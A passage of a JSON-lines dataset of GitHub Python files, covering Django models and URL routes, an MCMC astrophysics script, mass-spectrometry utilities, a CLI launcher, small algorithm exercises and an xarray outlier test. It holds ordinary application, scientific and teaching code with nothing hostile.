basename='players')\nrouter.register(r'teams', views.TeamView, basename='teams')\n\nurlpatterns = [\n path('', views.APIWelcomeView),\n path('', include((router.urls))),\n]","repo_name":"OnerInce/nfl-rest_api","sub_path":"players/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28771881458","text":"import numpy as np\nimport scipy.optimize as op\nimport pickle\nimport math as mth\nimport emcee\nimport matplotlib.pyplot as plt\nnp.set_printoptions(threshold=np.inf)#does not truncate arrays in console\nimport sklearn.preprocessing as skl\nfrom emcee.utils import MPIPool\nimport sys\nimport pandas as pd\nn_dot_prod=0\nmass_bin=5 # 0 to 5\ntot_mass_bins=6\ndata = pd.read_csv('/scratch/GAMNSCM2/bolchoi_z0/cat_reconfig/files/output_files/bolchoi_DTFE_rockstar_halos_z0_xyz_m_j',sep=r\"\\s+\",lineterminator='\\n', header = None)\ndata=data.as_matrix()\npartcl_500=np.where((data[:,3]/(1.35*10**8))>=500)#filter out halos with <500 particles\ndata=data[partcl_500]\nhalo_mass=data[:,3]\nlog_halo_mass=np.log10(halo_mass)#convert into log(M)\nmass_intvl=(np.max(log_halo_mass)-np.min(log_halo_mass))/tot_mass_bins\nlow_int_mass=np.min(log_halo_mass)+mass_intvl*mass_bin\nhi_int_mass=low_int_mass+mass_intvl\ndel data\ndel halo_mass\ndel log_halo_mass\n#----\ngrid_nodes=850\nsim_sz=250#Mpc\nin_val,fnl_val=-140,140\ns=3.92\n\n#Calculate the std deviation in physical units\ngrid_phys=1.*sim_sz/grid_nodes#Size of each voxel in physical units\nval_phys=1.*(2*fnl_val)/grid_nodes#Value in each grid voxel\nstd_dev_phys=1.*s/val_phys*grid_phys\n\ninputfile=open(\"/project/GAMNSCM2/bolchoi_z0/correl/my_den/files/output_files/dotproduct/spin_lss/DTFE_grid%d_spin_store_%dbins_fil_Log%s-%s_smth%sMpc_%sbins.pkl\"%(grid_nodes,n_dot_prod,round(low_int_mass,2),round(hi_int_mass,2),round(std_dev_phys,3),tot_mass_bins),'rb')\ncostheta=pickle.load(inputfile)\ncostheta=abs(costheta)#To change the dot products to be between 0-1 since we only care about alignment, not specific direction\n\n#MCMC\n \ndef lnlike(c,costheta):\n loglike=np.zeros((1))\n loglike[0]=sum(np.log((1-c)*np.sqrt(1+(c/2))*(1-c*(1-3*(costheta*costheta/2)))**(-1.5)))#log-likelihood \n\n return loglike\n \ndef lnprior(c):\n \n if (-1.5 < c < 0.99):#Assumes a flat prior, uninformative prior\n return 0.0\n return -np.inf\n \ndef lnprob(c,costheta):\n lp = lnprior(c)\n if not np.isfinite(lp):\n return -np.inf\n return lp + lnlike(c,costheta)\n#Parallel MCMC - initiallizes pool object; if process isn't running as master, wait for instr. and exit\npool=MPIPool()\nif not pool.is_master():\n pool.wait()\n sys.exit(0)\n\n#Initial conditions\nndim, nwalkers = 1, 800\ninitial_c=0.4\n\npos = [initial_c+1e-2*np.random.randn(ndim) for i in range(nwalkers)]#initial positions for walkers \"Gaussian ball\"\n \n#MCMC Running\nsampler = emcee.EnsembleSampler(nwalkers, ndim, lnprob,args=[costheta],pool=pool)\n#Burn-in\n#print(\"Running burn-in...\") #get rid of burn-in bit if you want to see walekrs chain from start to finish\nburn_in=500\npos, _, _=sampler.run_mcmc(pos,burn_in)#running of emcee burn-in period\nsampler.reset()\n#MCMC Running\n#print(\"Running production...\")\nsteps_wlk=5000\nsampler.run_mcmc(pos, steps_wlk)#running of emcee for steps specified, using pos as initial walker positions\n\npool.close()\n#Plotting\nc_samples=sampler.flatchain[:,0]\noutput=open(\"/scratch/GAMNSCM2/bolchoi_z0/correl/my_den/files/output_files/mcmc/spin_lss/flt_chain_%sburnin_%ssteps_%snwalkrs_grid%d_fil_Log%s-%s_smth%sMpc_spin_lss.pkl\"%(burn_in,steps_wlk,nwalkers,grid_nodes,round(low_int_mass,2),round(hi_int_mass,2),round(std_dev_phys,3)), 'wb')\npickle.dump(c_samples,output)\noutput.close() \n#inputfile=open(\"c_samples.pkl\",'rb')\n#c_samples=pickle.load(inputfile)\n#X,Y,_=plt.hist(c_samples,bins=1000,normed=True)\n#z=np.linspace(np.max(c_samples),np.min(c_samples),1000)\n#plt.plot(z,x)#this is for the pdf\n#print(\"--- %s seconds ---\" %(time.time()-start_time))\n'''\nplt.xlabel(\"c values\")\nplt.title(\"posterior distribution\")\n#Gaussian plotting\nmu=0.0007\nsigma=0.0013\nx=np.linspace(np.min(c_samples),np.max(c_samples),1000) \n#normstdis=np.zeros((1000,1))\nnormstdis=1/(np.sqrt(2*(sigma**2)*mth.pi))*np.exp(-((x-mu)**2)/(2*sigma**2))\nplt.plot(x,normstdis,label='normal distribution fitted')\n'''\n'''\nfor i in range(n_dist_bins):\n \n plt.suptitle('Chain for each walker')\n p=plt.subplot(5,2,i+1)\n \n \n plt.title('Walker %i'%(i+1),fontsize=10)\n plt.rc('font', **{'size':'10'})\n plt.plot(sampler.chain[i,:,:])\n'''\n \n'''\n# Choose the \"true\" parameters.\nm_true = -0.9594\nb_true = 4.294\nf_true = 0.534\n\n# Generate some synthetic data from the model.\nN = 50\nx = np.sort(10*np.random.rand(N))\nyerr = 0.1+0.5*np.random.rand(N)\ny = m_true*x+b_true\ny += np.abs(f_true*y) * np.random.randn(N)\ny += yerr * np.random.randn(N)\n\nplt.scatter(x,y)\nplt.plot(x,m_true*x+b_true)\n'''\n","repo_name":"ajib0457/bolchoi-sim_z0","sub_path":"Artemis/correl/my_den/mcmc/spin_lss/MCMC_DTFE_spin_lss.py","file_name":"MCMC_DTFE_spin_lss.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34911010068","text":"import sys\n\nfilename = \"user_names.txt\"\n\nwhile True: #вечный цикл\n try:\n print(\"Inside TRY\")\n myfile = open(filename, mode='r', encoding=\"utf_8\")\n except Exception:\n print(\"Inside EXCEPT\")\n print(\"Error found!\")\n filename = input(\"Enter correct filename: \")\n sys.exit()\n else:\n print(\"Inside ELSE\")\n print(myfile.read())\n sys.exit # чтобы не получился вечный цикл - выйти из этой бибилотеки.\n finally:\n print(\"Inside FINALLY\")\n\n\n\nprint(\"==========================EOF========================\")\n","repo_name":"LoveShooter/Python-Lessons","sub_path":"L20-exceptions.py","file_name":"L20-exceptions.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13527586751","text":"\"\"\" Utility functions used throughout the iBench library.\n\"\"\"\nimport numpy as np\n\nfrom ibench.constants import (\n CANONICAL_KEY,\n CHARGE_KEY,\n CISSPLICED_KEY,\n ION_OFFSET,\n MZS_KEY,\n PROTON,\n RESIDUE_WEIGHTS,\n TRANSPLICED_KEY,\n)\n\ndef remove_source_suffixes(source):\n \"\"\" Helper function to remove raw, mzML or mgf suffixes from source name.\n\n Parameters\n ----------\n source : str\n The name of a source file.\n\n Returns\n -------\n source : str\n The updated name with a suffix removed.\n \"\"\"\n if source.endswith('.mzML'):\n return source[:-5]\n if source.endswith('.raw') or source.endswith('.mgf'):\n return source[:-4]\n return source\n\ndef get_pepitde_strata(hq_df):\n \"\"\" Function to create a dictionary of peptide strat from the ground truth DataFrame.\n\n Parameters\n ----------\n hq_df : pd.DataFrame\n A DataFrame detailing the ground truth peptides.\n\n Returns\n -------\n peptide_strata : dict\n A dictionary mapping the assigned strata to their peptides.\n \"\"\"\n peptide_strata = {\n CANONICAL_KEY: hq_df[\n hq_df['stratum'] == CANONICAL_KEY\n ]['il_peptide'].unique().tolist(),\n CISSPLICED_KEY: hq_df[\n hq_df['stratum'] == CISSPLICED_KEY\n ]['il_peptide'].unique().tolist(),\n TRANSPLICED_KEY: hq_df[\n hq_df['stratum'] == TRANSPLICED_KEY\n ]['il_peptide'].unique().tolist(),\n }\n return peptide_strata\n\ndef get_matches(df_row, group_masses, frag_z, ms2_accuracy):\n \"\"\" Function to get the matched intensities and fragment locations for a set of ions\n of a given charge.\n\n Parameters\n ----------\n df_row : pd.Series\n DataFrame row containing PSM data.\n group_masses : list of float\n A list of the masses of each possible fragment.\n frag_z : int\n The fragment charge being searched for.\n ms2_accuracy : float\n The accuracy of the mz measurement on the MS2 spectrum.\n\n Returns\n -------\n matched_locs : list of int\n A list of the matched fragmentation positions.\n \"\"\"\n matched_locs = []\n matched_inds = []\n for idx, base_mass in enumerate(group_masses):\n fragment_mz = (\n base_mass + (frag_z * PROTON)\n )/frag_z\n matched_mz_ind = np.argmin(\n np.abs(df_row[MZS_KEY] - fragment_mz)\n )\n if np.abs(df_row[MZS_KEY][matched_mz_ind] - fragment_mz) < ms2_accuracy:\n matched_locs.append(idx+1)\n matched_inds.append(matched_mz_ind)\n\n return matched_locs, matched_inds\n\ndef calculate_ms2_feats(df_row, ms2_accuracy):\n \"\"\" Function to calculate basic features of the ms2 match for a PSM.\n\n Parameters\n ----------\n df_row : pd.Series\n DataFrame row containing the PSM spectral data.\n ms2_accuracy : float\n The accuracy of the mz measurement on the MS2 spectrum.\n\n Returns\n -------\n df_row : pd.Series\n The input row with spectral features calculated.\n \"\"\"\n # Calculate b,y,a ions\n pep_len = len(df_row['peptide'])\n sub_seq_masses = compute_potential_mzs(\n df_row['peptide'], reverse=False\n )\n rev_sub_seq_masses = compute_potential_mzs(\n df_row['peptide'], reverse=True\n )\n\n # a- and b-ions for each of the charge options\n possible_ions = {}\n possible_ions['a'] = ION_OFFSET['a'] + sub_seq_masses\n possible_ions['b'] = ION_OFFSET['b'] + sub_seq_masses\n possible_ions['y'] = ION_OFFSET['y'] + rev_sub_seq_masses\n\n max_charge = min((df_row[CHARGE_KEY], 3))\n\n # match\n matched_inds = []\n matched_locs = {}\n for ion_group, group_mzs in possible_ions.items():\n matched_locs[ion_group] = []\n for frag_z in range(1, max_charge+1):\n ion_locs, ion_inds = get_matches(\n df_row, group_mzs, frag_z, ms2_accuracy\n )\n if ion_group == 'y':\n matched_locs[ion_group].extend(\n [pep_len-loc_idx for loc_idx in ion_locs]\n )\n else:\n matched_locs[ion_group].extend(ion_locs)\n matched_inds.extend(ion_inds)\n\n matched_inds = list(set(matched_inds))\n\n all_cov_locs = set(matched_locs['a'] + matched_locs['b'] + matched_locs['y'])\n df_row['ms2Coverage'] = len(all_cov_locs)/(pep_len - 1)\n df_row['signalToNoise'] = np.sum(\n np.take(df_row['intensities'], matched_inds)\n )/np.sum(\n df_row['intensities']\n )\n\n return df_row\n\ndef compute_potential_mzs(sequence, reverse):\n \"\"\" Function to compute the molecular weights of potential fragments\n generated from a peptide (y & b ions, charges 1,2, or 3, and H2O\n or O2 losses).\n\n Parameters\n ----------\n sequence : str\n The peptide sequence for which we require molecular weights.\n reverse : bool\n Whether we are getting fragment mzs in the forward direction\n (eg for b ions), or backward direction (eg. for y ions).\n\n Returns\n -------\n mzs : np.array of floats\n An array of all the possible mzs that coule be observed in\n the MS2 spectrum of a sequence.\n \"\"\"\n if reverse:\n sequence = sequence[::-1]\n\n sequence_length = len(sequence)\n n_fragments = sequence_length - 1\n mzs = np.empty(n_fragments)\n\n tracking_mw = 0.0\n\n for idx in range(n_fragments):\n tracking_mw += RESIDUE_WEIGHTS[sequence[idx]]\n mzs[idx] = tracking_mw\n\n tracking_mw += RESIDUE_WEIGHTS[sequence[n_fragments]]\n\n return mzs\n","repo_name":"QuantSysBio/iBench","sub_path":"ibench/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"17156821916","text":"from django.db import models\n\n# Create your models here.\n\nclass Category(models.Model):\n \"\"\"Creates instance of category\"\"\"\n class Meta:\n \"\"\"Gives verbose name for category\"\"\"\n verbose_name_plural = 'Categories'\n\n name = models.CharField(max_length=254)\n friendly_name = models.CharField(max_length=254, null=True, blank=True)\n\n def __str__(self):\n return self.name\n \n def get_friendly_name(self):\n return self.friendly_name\n\n# Options for plant care / filters\n\nWATER_CHOICE = {\n ('water only when dry', 'WATER ONLY WHEN DRY'),\n ('light watering', 'LIGHT WATERING'),\n ('always thirsty', 'ALWAYS THIRSTY'),\n}\n\nHUMIDITY_CHOICE = {\n ('prefers dry air', 'PREFERS DRY AIR'),\n ('likes a little moisture', 'LIKES A LITTLE MOISTURE'),\n ('prefers humidity', 'PREFERS HUMIDITY'),\n}\n\nGROWTH_CHOICE = {\n ('fast grower', 'FAST GROWER'),\n ('takes its time', 'TAKES ITS TIME'),\n ('lifelong friend', 'LIFELONG FRIEND'),\n}\n\nTEMP_CHOICE = {\n ('keep cool', 'KEEP COOL'),\n ('keep at room temperature', 'KEEP AT ROOM TEMPERATURE'),\n ('keep warm', 'KEEP WARM'),\n}\n\nLIGHT_CHOICE = {\n ('loves the shade', 'LOVES THE SHADE'),\n ('loves a bit of both', 'LOVES A BIT OF BOTH'),\n ('loves bright light', 'LOVES BRIGHT LIGHT'),\n}\n\nEASE_OF_CARE_CHOICE = {\n ('practically unkillable', 'PRACTICALLY UNKILLABLE'),\n ('easy to care for', 'EASY TO CARE FOR'),\n ('needs a bit of love', 'NEEDS A BIT OF LOVE'),\n ('can be a diva', 'CAN BE A DIVA'),\n}\n\n# Seasonal collection options\n\nSEASONAL_COLLECTION = {\n ('winter', 'WINTER'),\n ('valentines', 'VALENTINES'),\n ('spring', 'SPRING'),\n ('summer', 'SUMMER'),\n}\n\nSIZE_CHOICE = {\n ('one size', 'ONE SIZE'),\n ('10kg', '10kg'),\n}\n\n\nclass Product(models.Model):\n \"\"\"Creates instance of a product\"\"\"\n category = models.ForeignKey(\n 'Category', null=True, blank=True, on_delete=models.SET_NULL)\n sku = models.CharField(max_length=254, null=True, blank=True)\n is_plant = models.BooleanField(default=False, null=True, blank=False)\n is_accessory = models.BooleanField(default=False, null=True, blank=False)\n name = models.CharField(max_length=254)\n friendly_name = models.CharField(\n max_length=254, null=False, blank=False, default=name)\n height = models.CharField(max_length=254, null=True, blank=True)\n has_size_choice = models.BooleanField(\n default=False, null=True, blank=False)\n size = models.CharField(max_length=254, choices=SIZE_CHOICE, blank=True)\n price = models.DecimalField(max_digits=6, decimal_places=2)\n water_need = models.CharField(\n max_length=254, choices=WATER_CHOICE, blank=True)\n humidity_need = models.CharField(\n max_length=254, choices=HUMIDITY_CHOICE, blank=True)\n growth_need = models.CharField(\n max_length=254, choices=GROWTH_CHOICE, blank=True)\n temp_need = models.CharField(\n max_length=254, choices=TEMP_CHOICE, blank=True)\n light_need = models.CharField(\n max_length=254, choices=LIGHT_CHOICE, blank=True)\n ease_of_care = models.CharField(\n max_length=254, choices=EASE_OF_CARE_CHOICE, blank=True)\n is_in_seasonal_collection = models.BooleanField(\n default=False, null=True, blank=True)\n seasonal_collection = models.CharField(\n max_length=254, choices=SEASONAL_COLLECTION, blank=True)\n tip_water = models.TextField(null=True, blank=True)\n tip_humidity = models.TextField(null=True, blank=True)\n tip_growth = models.TextField(null=True, blank=True)\n tip_temperature = models.TextField(null=True, blank=True)\n tip_light = models.TextField(null=True, blank=True)\n tip_ease = models.TextField(null=True, blank=True)\n is_on_sale = models.BooleanField(default=False, null=True, blank=True)\n recommended_items = models.ManyToManyField(\"self\", blank=True)\n sale_price = models.DecimalField(\n max_digits=6, decimal_places=2, null=True, blank=True)\n image_url = models.URLField(max_length=1054, null=True, blank=True)\n image = models.ImageField(null=True, blank=True)\n\n def __str__(self):\n return self.name\n\n def get_friendly_name(self):\n return self.friendly_name\n","repo_name":"lmw95/MS4-greensleeves","sub_path":"shop/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23093775508","text":"\ndef checkElementID(str,uniqueElements):\n ID = str[0]\n if int(ID) > 0:\n if int(ID) not in uniqueElements:\n uniqueElements.add(int(ID))\n else:\n raise ValueError(\"ID is duplicate\")\n else:\n raise ValueError(\"ID is negative\")\n\ndef checkCustomerID(str):\n CustID = str[1]\n if int(CustID) < 0:\n raise ValueError(\"CustID is negative\")\n\ndef checkCustomerFirstName(str):\n FirstName = str[2]\n for eachChar in FirstName:\n if len(FirstName) > 30:\n raise ValueError(\"The Name is longer than 30 characters\")\n if not eachChar.isalpha():\n raise ValueError(\"There can be no special Characters\")\n\ndef checkCustomerLastName(str):\n LastName = str[3]\n for eachChar in LastName:\n if len(LastName) > 30:\n raise ValueError(\"The Name is longer than 30 characters\")\n if not eachChar.isalpha():\n raise ValueError(\"There can be no special Characters\")\n\ndef checkChannelNumber(str):\n ChannelNumber = int(str[4])\n if ChannelNumber < 0:\n raise ValueError(\"ChannelNumber is negative\")\n elif ChannelNumber < 100 or ChannelNumber > 1500:\n raise ValueError(\"ChannelNumbe not within valid range\")\n\ndef checkStartWatchTime(str):\n startTime = int(str[5])\n if startTime < 0 or startTime > 2359:\n raise ValueError(\"StartWatchTime is invalid\")\n\ndef checkEndWatchTime(str):\n EndTime = int(str[6])\n if EndTime < 0 or EndTime > 2359:\n raise ValueError(\"EndWatchTime is invalid\")\n\ndef checkCustomerAge(str):\n age = int(str[7])\n if age < 0:\n raise ValueError(\"Age is negative\")\n elif age < 15 or age > 121:\n raise ValueError(\"Age not in valid range\")\n\n","repo_name":"wanderman12345/DAP","sub_path":"ValidationData.py","file_name":"ValidationData.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23404142382","text":"import os\nfrom pathlib import Path\nfrom typing import List\n\nimport click\nimport uvicorn\n\nfrom paperback import __version__\nfrom paperback.util import get_async_lib_name # noqa\n\ndefault_config_path = Path.home() / \".papertext\"\ndefault_config_path = default_config_path.resolve()\n\nCONTEXT_SETTINGS = {\n \"help_option_names\": [\"-h\", \"--help\"],\n}\n\nuvicorn_log_config = uvicorn.config.LOGGING_CONFIG\n# del uvicorn_log_config[\"loggers\"]\n\n\n@click.group(context_settings=CONTEXT_SETTINGS)\n@click.version_option(version=__version__)\n@click.option(\n \"-c\",\n \"--config\",\n \"config_dir\",\n default=default_config_path,\n help=\"path to config folder\",\n type=Path,\n)\n@click.option(\n \"-l\",\n \"--log\",\n \"log_level\",\n default=\"INFO\",\n help=\"set logging level\",\n envvar=\"PT__log_level\",\n type=click.Choice({\"CRITICAL\", \"ERROR\", \"WARNING\", \"INFO\", \"DEBUG\", \"NOTSET\"}),\n)\n@click.option(\n \"-h\",\n \"--host\",\n \"host\",\n envvar=\"PT__host\",\n help=\"specify host for server to listen on\",\n type=str,\n default=\"0.0.0.0\",\n)\n@click.option(\n \"-p\",\n \"--port\",\n \"port\",\n envvar=\"PT__port\",\n help=\"specify port for server to listen on\",\n type=int,\n default=7878,\n)\n@click.pass_context\ndef cli(ctx: click.Context, config_dir: Path, log_level: str, host: str, port: int):\n ctx.ensure_object(dict)\n\n os.environ[\"PT__config_dir\"] = str(config_dir)\n os.environ[\"PT__log_level\"] = str(log_level)\n\n ctx.obj[\"host\"] = str(host)\n ctx.obj[\"port\"] = int(port)\n ctx.obj[\"log_level\"] = str(log_level)\n\n\n@cli.command(context_settings=CONTEXT_SETTINGS)\n@click.pass_context\ndef run(ctx: click.Context):\n \"\"\"\n main command for running API\n \"\"\"\n uvicorn.run(\n \"paperback.app:api\",\n host=ctx.obj[\"host\"],\n port=ctx.obj[\"port\"],\n log_config=uvicorn_log_config,\n log_level=ctx.obj[\"log_level\"].lower(),\n loop=get_async_lib_name(),\n proxy_headers=True,\n use_colors=True,\n )\n\n\n@cli.command(context_settings=CONTEXT_SETTINGS)\n@click.option(\n \"-r\",\n \"--reload-dirs\",\n \"reload_dirs\",\n default=[\"/root/paperback/src/paperback\"],\n help=\"path to folder to watch for changes\",\n type=Path,\n multiple=True,\n)\n@click.pass_context\ndef dev(ctx: click.Context, reload_dirs: List[Path]):\n \"\"\"\n command for running API in development mode\n \"\"\"\n uvicorn.run(\n \"paperback.app:api\",\n host=ctx.obj[\"host\"],\n port=ctx.obj[\"port\"],\n log_config=uvicorn_log_config,\n log_level=ctx.obj[\"log_level\"].lower(),\n loop=get_async_lib_name(),\n proxy_headers=True,\n reload=True,\n reload_dirs=reload_dirs,\n use_colors=True,\n )\n","repo_name":"PaperText/paperback","sub_path":"src/paperback/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"5862431746","text":"# Trapping Rain water\n\ndef trappingWater(arr, n):\n\n water = 0\n left_max = 0\n right_max = 0\n\n lo = 0\n hi = n-1\n\n while lo <= hi:\n if arr[lo] < arr[hi]:\n if arr[lo] > left_max:\n left_max = arr[lo]\n else:\n water += left_max - arr[lo]\n lo += 1\n else:\n if arr[hi] > right_max:\n right_max = arr[hi]\n else:\n water += right_max-arr[hi]\n hi -= 1\n return water\n\n\nprint(trappingWater([7, 4, 0, 9], 4))\n","repo_name":"Anupmor1998/DSA-in-python","sub_path":"Array/29.py","file_name":"29.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41849606977","text":"from minimax import find_best_move\nfrom tictactoe import TTTBoard, TTTPiece\nfrom board import Move, Board\n\n# from CP_Chapter08.Example.minimax import find_best_move\n# from CP_Chapter08.Example.tictactoe import TTTBoard, TTTPiece\n# from CP_Chapter08.Example.board import Move, Board\n\n# initial_board = [TTTPiece.O, TTTPiece.E, TTTPiece.X,\n# TTTPiece.E, TTTPiece.X, TTTPiece.E,\n# TTTPiece.O, TTTPiece.E, TTTPiece.E]\n# board: Board = TTTBoard(initial_board)\nboard: Board = TTTBoard()\n\n\ndef get_palyer_move() -> Move:\n player_move: Move = Move(-1)\n while player_move not in board.legal_moves:\n play: int = int(input(\"이동할 위치를 입력하세요 (0-8): \"))\n player_move = Move(play)\n return player_move\n\n\nif __name__ == \"__main__\":\n while True:\n # print(board)\n human_move: Move = get_palyer_move()\n board = board.move(human_move)\n if board.is_win:\n print(\"당신이 이겼습니다!\")\n break\n elif board.is_draw:\n print(\"비겼습니다!\")\n break\n\n computer_move: Move = find_best_move(board)\n print(f\"컴퓨터가 {computer_move}(으)로 이동했습니다.\")\n board = board.move(computer_move)\n print(board)\n if board.is_win:\n print(\"컴퓨터가 이겼습니다!\")\n break\n elif board.is_draw:\n print(\"비겼습니다!\")\n break\n","repo_name":"meticulousdev/ClassicComputerScienceProblemsInPython","sub_path":"Chapter08/2020/tictactoe_ai.py","file_name":"tictactoe_ai.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"72284864543","text":"from django.contrib.auth.models import AbstractUser\nfrom django.db import models\nfrom django.core.validators import MaxValueValidator, MinValueValidator\n\nfrom .validators import validate_year, validate_username\n\n\nclass User(AbstractUser):\n USER = 'user'\n MODERATOR = 'moderator'\n ADMIN = 'admin'\n ROLES = [\n (ADMIN, 'Administrator'),\n (MODERATOR, 'Moderator'),\n (USER, 'User'),\n ]\n username = models.CharField(\n 'Имя пользователя',\n max_length=150,\n unique=True,\n validators=(validate_username, ),\n )\n email = models.EmailField(\n verbose_name='Электронная почта',\n max_length=254,\n unique=True,\n )\n first_name = models.TextField(\n max_length=150,\n blank=True\n )\n last_name = models.TextField(\n max_length=150,\n blank=True\n )\n bio = models.TextField(\n verbose_name='Биография',\n blank=True,\n )\n role = models.CharField(\n verbose_name='Статус пользователя',\n max_length=50,\n choices=ROLES,\n default=USER\n )\n\n class Meta:\n ordering = ('username',)\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n def __str__(self):\n return self.username\n\n @property\n def is_user(self):\n return self.role == self.USER\n\n @property\n def is_moderator(self):\n return self.role == self.MODERATOR\n\n @property\n def is_admin(self):\n return self.role == self.ADMIN or self.is_staff or self.is_superuser\n\n\nclass Genre(models.Model):\n name = models.CharField(\n 'Название жанра',\n max_length=256,\n )\n slug = models.SlugField(\n max_length=50,\n unique=True,\n )\n\n class Meta:\n verbose_name = 'Жанр'\n verbose_name_plural = 'Жанры'\n\n def __str__(self):\n return f'{self.name} {self.slug}'\n\n\nclass Category(models.Model):\n name = models.CharField(\n 'Название категории',\n max_length=256,\n )\n slug = models.SlugField(\n max_length=50,\n unique=True,\n )\n\n class Meta:\n verbose_name = 'Категория'\n verbose_name_plural = 'Категории'\n\n def __str__(self):\n return f'{self.name} {self.slug}'\n\n\nclass Title(models.Model):\n name = models.CharField(\n 'Название',\n max_length=256,\n )\n year = models.SmallIntegerField(\n 'Год выпуска',\n validators=(validate_year,)\n )\n description = models.TextField(\n 'Описание',\n null=True,\n blank=True,\n )\n genre = models.ManyToManyField(\n Genre,\n related_name='titles',\n verbose_name='Жанр',\n )\n category = models.ForeignKey(\n Category,\n on_delete=models.SET_NULL,\n null=True,\n blank=True,\n related_name='titles',\n verbose_name='Категория',\n )\n\n class Meta:\n verbose_name = 'Произведение'\n verbose_name_plural = 'Произведения'\n\n def __str__(self):\n return self.name\n\n\nclass Review(models.Model):\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='reviews')\n pub_date = models.DateTimeField('Дата публикации', auto_now_add=True)\n title = models.ForeignKey(\n Title,\n on_delete=models.CASCADE,\n related_name='reviews',\n verbose_name='Произведение',\n )\n score = models.IntegerField(\n default=5,\n validators=[MinValueValidator(0), MaxValueValidator(10)])\n text = models.TextField()\n\n class Meta:\n ordering = ('-pub_date', )\n verbose_name = 'Отзыв'\n verbose_name_plural = 'Отзывы'\n constraints = [\n models.UniqueConstraint(\n fields=['title', 'author', ],\n name='Anti-abuse constraint: one review for one title'\n )\n ]\n\n def __str__(self):\n return self.name\n\n\nclass Comment(models.Model):\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='comments')\n pub_date = models.DateTimeField('Дата публикации', auto_now_add=True)\n review = models.ForeignKey(\n Review,\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Отзыв'\n )\n text = models.TextField()\n\n class Meta:\n ordering = ('-pub_date', )\n verbose_name = 'Комментарий'\n verbose_name_plural = 'Комментарии'\n\n def __str__(self):\n return self.text\n","repo_name":"Elllym-em/review_service_api","sub_path":"api_yamdb/reviews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23665570124","text":"import pandas as pd\nimport xarray as xr\nimport numpy as np\nfrom scipy.stats import zscore\nfrom astral import LocationInfo\nfrom astral.sun import dusk, dawn\nfrom datetime import datetime, timezone\nfrom typing import List, Optional, Tuple, Dict\n\n\ndef iqr_test(ds: xr.Dataset, ds_variables: List[str], iqr_threshold: int = 3) -> Tuple[xr.Dataset, xr.Dataset]:\n \"\"\"\n Calculate outliers using the interquartile range (IQR) test for each variable in the input dataset.\n\n Parameters\n ----------\n ds : xarray.Dataset\n Dataset containing the variables to calculate outliers for.\n ds_variables : List of str\n List of variable names to calculate outliers for.\n iqr_threshold : int, optional\n The IQR threshold used to define outliers. Default is 3.\n\n Returns\n -------\n Tuple of xr.Dataset\n Tuple containing the IQR statistics dataset and the outliers dataset for each input variable.\n\n Notes\n -----\n This function calculates the interquartile range (IQR) for each variable along the time dimension.\n\n Outliers are defined as values that are above the upper threshold or below the lower threshold.\n\n The returned datasets contain the following variables for each input variable:\n - '_iqr': The interquartile range (IQR)\n - '_q75': The 75th percentile\n - '_q25': The 25th percentile\n - '_upper_thresh': The upper threshold\n - '_lower_thresh': The lower threshold\n - '_upper_outliers': The upper outliers (values above the upper threshold)\n - '_lower_outliers': The lower outliers (values below the lower threshold)\n\n Missing or NaN values are skipped when calculating percentiles and thresholds.\n \"\"\"\n q75_ds = ds[ds_variables].quantile(q=0.75, dim=\"time\", skipna=\"True\").astype(\"float32\")\n q25_ds = ds[ds_variables].quantile(q=0.25, dim=\"time\", skipna=\"True\").astype(\"float32\")\n\n iqr_ds = q75_ds - q25_ds\n IQR_val = iqr_threshold * iqr_ds\n iqr_upper_threshold = q75_ds + IQR_val\n iqr_lower_threshold = q25_ds - IQR_val\n\n iqr_outlier_upper = ds[ds_variables].where(ds[ds_variables] > iqr_upper_threshold)\n iqr_outlier_lower = ds[ds_variables].where(ds[ds_variables] < iqr_lower_threshold)\n\n iqr_ds = iqr_ds.rename({var: f\"{var}_iqr\" for var in ds_variables})\n q75_ds = q75_ds.rename({var: f\"{var}_q75\" for var in ds_variables})\n q25_ds = q25_ds.rename({var: f\"{var}_q25\" for var in ds_variables})\n iqr_upper_threshold = iqr_upper_threshold.rename({var: f\"{var}_upper_thresh\" for var in ds_variables})\n iqr_lower_threshold = iqr_lower_threshold.rename({var: f\"{var}_lower_thresh\" for var in ds_variables})\n iqr_outlier_upper = iqr_outlier_upper.rename({var: f\"{var}_upper_outliers\" for var in ds_variables})\n iqr_outlier_lower = iqr_outlier_lower.rename({var: f\"{var}_lower_outliers\" for var in ds_variables})\n\n q75_ds = q75_ds.reset_coords(\"quantile\")\n q25_ds = q25_ds.reset_coords(\"quantile\")\n iqr_lower_threshold = iqr_lower_threshold.reset_coords(\"quantile\")\n iqr_upper_threshold = iqr_upper_threshold.reset_coords(\"quantile\")\n iqr_outlier_lower = iqr_outlier_lower.reset_coords(\"quantile\")\n iqr_outlier_upper = iqr_outlier_upper.reset_coords(\"quantile\")\n\n iqr_stats_ds = xr.merge([iqr_ds, q75_ds, q25_ds, 